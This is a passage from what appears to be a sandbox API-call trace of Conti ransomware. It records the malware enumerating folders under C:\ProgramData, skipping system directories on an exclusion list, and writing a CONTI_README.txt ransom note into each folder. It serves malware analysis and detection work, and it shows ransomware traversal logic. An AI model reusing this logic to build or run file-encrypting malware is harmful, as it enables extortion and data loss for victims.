	[0098.212] FindNextFileW (in: hFindFile=0x17c8130, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e509281, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e509281, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e509281, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0xa0000003, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.212] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.212] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.212] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.212] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.212] FindNextFileW (in: hFindFile=0x17c8130, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xb6884, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="tmp") returned -1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="winnt") returned -1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="Application Data") returned 1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="AppData") returned 1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="thumb") returned -1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="$Recycle.Bin") returned 1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="$RECYCLE.BIN") returned 1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="System Volume Information") returned -1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="Program Files") returned -1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="Program Files (x86)") returned -1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="Boot") returned 1
	[0098.212] lstrcmpiW (lpString1="Desktop", lpString2="Windows") returned -1
	[0098.212] lstrlenW (lpString="C:\\ProgramData") returned 14
	[0098.212] lstrlenW (lpString="Desktop") returned 7
	[0098.212] GetProcessHeap () returned 0x1720000
	[0098.212] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x2e) returned 0x17388d8
	[0098.212] lstrcpyW (in: lpString1=0x17388d8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData"
	[0098.212] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0098.213] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="Desktop" | out: lpString1="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop"
	[0098.213] lstrlenW (lpString="C:\\ProgramData\\Desktop") returned 22
	[0098.213] GetProcessHeap () returned 0x1720000
	[0098.213] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x32) returned 0x17c83b0
	[0098.213] lstrcpyW (in: lpString1=0x17c83b0, lpString2="C:\\ProgramData\\Desktop" | out: lpString1="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop"
	[0098.213] lstrcatW (in: lpString1="C:\\ProgramData\\Desktop", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Desktop\\*") returned="C:\\ProgramData\\Desktop\\*"
	[0098.213] lstrlenW (lpString="C:\\ProgramData\\Desktop") returned 22
	[0098.213] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.213] GetProcessHeap () returned 0x1720000
	[0098.213] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x50) returned 0x17beec0
	[0098.213] lstrcpyW (in: lpString1=0x17beec0, lpString2="C:\\ProgramData\\Desktop" | out: lpString1="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop"
	[0098.213] lstrcatW (in: lpString1="C:\\ProgramData\\Desktop", lpString2="\\" | out: lpString1="C:\\ProgramData\\Desktop\\") returned="C:\\ProgramData\\Desktop\\"
	[0098.213] lstrcatW (in: lpString1="C:\\ProgramData\\Desktop\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Desktop\\CONTI_README.txt") returned="C:\\ProgramData\\Desktop\\CONTI_README.txt"
	[0098.213] CreateFileW (lpFileName="C:\\ProgramData\\Desktop\\CONTI_README.txt" (normalized: "c:\\programdata\\desktop\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0098.213] GetProcessHeap () returned 0x1720000
	[0098.213] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17beec0 | out: hHeap=0x1720000) returned 1
	[0098.213] WriteFile (in: hFile=0x394, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.214] CloseHandle (hObject=0x394) returned 1
	[0098.214] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Desktop\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xd84a3c8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x5c3f890, nFileSizeLow=0xb55d3, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="脰ż訨ųŴREADME.txt", cAlternateFileName="裘ų׃脰ż訨ųŴ׃\x0e")) returned 0xffffffff
	[0098.214] GetProcessHeap () returned 0x1720000
	[0098.214] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c83b0 | out: hHeap=0x1720000) returned 1
	[0098.214] GetProcessHeap () returned 0x1720000
	[0098.214] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17388d8 | out: hHeap=0x1720000) returned 1
	[0098.214] FindNextFileW (in: hFindFile=0x17c8130, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xb6884, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0098.214] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1
	[0098.214] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="tmp") returned -1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="winnt") returned -1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="Application Data") returned 1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="AppData") returned 1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="thumb") returned -1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="$Recycle.Bin") returned 1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="$RECYCLE.BIN") returned 1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="System Volume Information") returned -1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="Program Files") returned -1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="Program Files (x86)") returned -1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="Boot") returned 1
	[0098.215] lstrcmpiW (lpString1="Documents", lpString2="Windows") returned -1
	[0098.215] lstrlenW (lpString="C:\\ProgramData") returned 14
	[0098.215] lstrlenW (lpString="Documents") returned 9
	[0098.215] GetProcessHeap () returned 0x1720000
	[0098.215] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x32) returned 0x17c7f30
	[0098.215] lstrcpyW (in: lpString1=0x17c7f30, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData"
	[0098.215] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0098.215] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="Documents" | out: lpString1="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents"
	[0098.215] lstrlenW (lpString="C:\\ProgramData\\Documents") returned 24
	[0098.215] GetProcessHeap () returned 0x1720000
	[0098.215] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x17c8230
	[0098.215] lstrcpyW (in: lpString1=0x17c8230, lpString2="C:\\ProgramData\\Documents" | out: lpString1="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents"
	[0098.215] lstrcatW (in: lpString1="C:\\ProgramData\\Documents", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Documents\\*") returned="C:\\ProgramData\\Documents\\*"
	[0098.215] lstrlenW (lpString="C:\\ProgramData\\Documents") returned 24
	[0098.215] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.215] GetProcessHeap () returned 0x1720000
	[0098.215] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x54) returned 0x17c1448
	[0098.215] lstrcpyW (in: lpString1=0x17c1448, lpString2="C:\\ProgramData\\Documents" | out: lpString1="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents"
	[0098.215] lstrcatW (in: lpString1="C:\\ProgramData\\Documents", lpString2="\\" | out: lpString1="C:\\ProgramData\\Documents\\") returned="C:\\ProgramData\\Documents\\"
	[0098.215] lstrcatW (in: lpString1="C:\\ProgramData\\Documents\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Documents\\CONTI_README.txt") returned="C:\\ProgramData\\Documents\\CONTI_README.txt"
	[0098.215] CreateFileW (lpFileName="C:\\ProgramData\\Documents\\CONTI_README.txt" (normalized: "c:\\programdata\\documents\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0098.217] GetProcessHeap () returned 0x1720000
	[0098.217] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1448 | out: hHeap=0x1720000) returned 1
	[0098.217] WriteFile (in: hFile=0x394, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.218] CloseHandle (hObject=0x394) returned 1
	[0098.218] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xd84a3c8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x5c3f890, nFileSizeLow=0xb55d3, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="脰ż訨ųŴREADME.txt", cAlternateFileName="缰ż׃脰ż裘ųŴ׃\x0e")) returned 0xffffffff
	[0098.219] GetProcessHeap () returned 0x1720000
	[0098.219] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8230 | out: hHeap=0x1720000) returned 1
	[0098.219] GetProcessHeap () returned 0x1720000
	[0098.219] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7f30 | out: hHeap=0x1720000) returned 1
	[0098.219] FindNextFileW (in: hFindFile=0x17c8130, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xb6884, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="tmp") returned -1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="winnt") returned -1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="Application Data") returned 1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="AppData") returned 1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="thumb") returned -1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="$Recycle.Bin") returned 1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="$RECYCLE.BIN") returned 1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="System Volume Information") returned -1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="Program Files") returned -1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="Program Files (x86)") returned -1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="Boot") returned 1
	[0098.219] lstrcmpiW (lpString1="Microsoft", lpString2="Windows") returned -1
	[0098.219] lstrlenW (lpString="C:\\ProgramData") returned 14
	[0098.219] lstrlenW (lpString="Microsoft") returned 9
	[0098.219] GetProcessHeap () returned 0x1720000
	[0098.219] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x32) returned 0x17c81f0
	[0098.220] lstrcpyW (in: lpString1=0x17c81f0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData"
	[0098.220] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0098.220] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0098.220] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0098.220] GetProcessHeap () returned 0x1720000
	[0098.220] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x17c8170
	[0098.220] lstrcpyW (in: lpString1=0x17c8170, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0098.220] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\*") returned="C:\\ProgramData\\Microsoft\\*"
	[0098.220] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0098.220] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.220] GetProcessHeap () returned 0x1720000
	[0098.220] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x54) returned 0x17c0f08
	[0098.220] lstrcpyW (in: lpString1=0x17c0f08, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0098.220] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0098.220] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\CONTI_README.txt"
	[0098.220] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0098.221] GetProcessHeap () returned 0x1720000
	[0098.221] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0f08 | out: hHeap=0x1720000) returned 1
	[0098.221] WriteFile (in: hFile=0x388, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.222] CloseHandle (hObject=0x388) returned 1
	[0098.222] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c83f0
	[0098.222] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.222] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.222] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.222] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.222] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="AppV", cAlternateFileName="")) returned 1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2=".") returned 1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="..") returned 1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="tmp") returned -1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="winnt") returned -1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="Application Data") returned 1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="AppData") returned 1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="temp") returned -1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="thumb") returned -1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="$Recycle.Bin") returned 1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="$RECYCLE.BIN") returned 1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="System Volume Information") returned -1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="Program Files") returned -1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="Program Files (x86)") returned -1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="Boot") returned -1
	[0098.222] lstrcmpiW (lpString1="AppV", lpString2="Windows") returned -1
	[0098.222] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0098.222] lstrlenW (lpString="AppV") returned 4
	[0098.222] GetProcessHeap () returned 0x1720000
	[0098.223] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3c) returned 0x17343f0
	[0098.223] lstrcpyW (in: lpString1=0x17343f0, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0098.223] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0098.223] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="AppV" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV") returned="C:\\ProgramData\\Microsoft\\AppV"
	[0098.223] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\AppV") returned 29
	[0098.223] GetProcessHeap () returned 0x1720000
	[0098.223] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x40) returned 0x1734558
	[0098.223] lstrcpyW (in: lpString1=0x1734558, lpString2="C:\\ProgramData\\Microsoft\\AppV" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV") returned="C:\\ProgramData\\Microsoft\\AppV"
	[0098.223] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\AppV", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\*") returned="C:\\ProgramData\\Microsoft\\AppV\\*"
	[0098.223] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\AppV") returned 29
	[0098.223] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.223] GetProcessHeap () returned 0x1720000
	[0098.223] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5e) returned 0x17c0c60
	[0098.223] lstrcpyW (in: lpString1=0x17c0c60, lpString2="C:\\ProgramData\\Microsoft\\AppV" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV") returned="C:\\ProgramData\\Microsoft\\AppV"
	[0098.223] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\AppV", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\") returned="C:\\ProgramData\\Microsoft\\AppV\\"
	[0098.223] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\AppV\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\AppV\\CONTI_README.txt"
	[0098.223] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\AppV\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\appv\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0098.223] GetProcessHeap () returned 0x1720000
	[0098.223] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0c60 | out: hHeap=0x1720000) returned 1
	[0098.223] WriteFile (in: hFile=0x394, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0098.224] CloseHandle (hObject=0x394) returned 1
	[0098.224] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\AppV\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName=".", cAlternateFileName="")) returned 0x17c8530
	[0098.224] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.224] FindNextFileW (in: hFindFile=0x17c8530, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="..", cAlternateFileName="")) returned 1
	[0098.224] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.224] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.224] FindNextFileW (in: hFindFile=0x17c8530, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e63a786, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e63a786, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.224] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.224] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.225] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.225] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.225] FindNextFileW (in: hFindFile=0x17c8530, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="Setup", cAlternateFileName="")) returned 1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2=".") returned 1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="..") returned 1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="tmp") returned -1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="winnt") returned -1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="Application Data") returned 1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="AppData") returned 1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="temp") returned -1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="thumb") returned -1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="$Recycle.Bin") returned 1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="$RECYCLE.BIN") returned 1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="System Volume Information") returned -1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="Program Files") returned 1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="Program Files (x86)") returned 1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="Boot") returned 1
	[0098.225] lstrcmpiW (lpString1="Setup", lpString2="Windows") returned -1
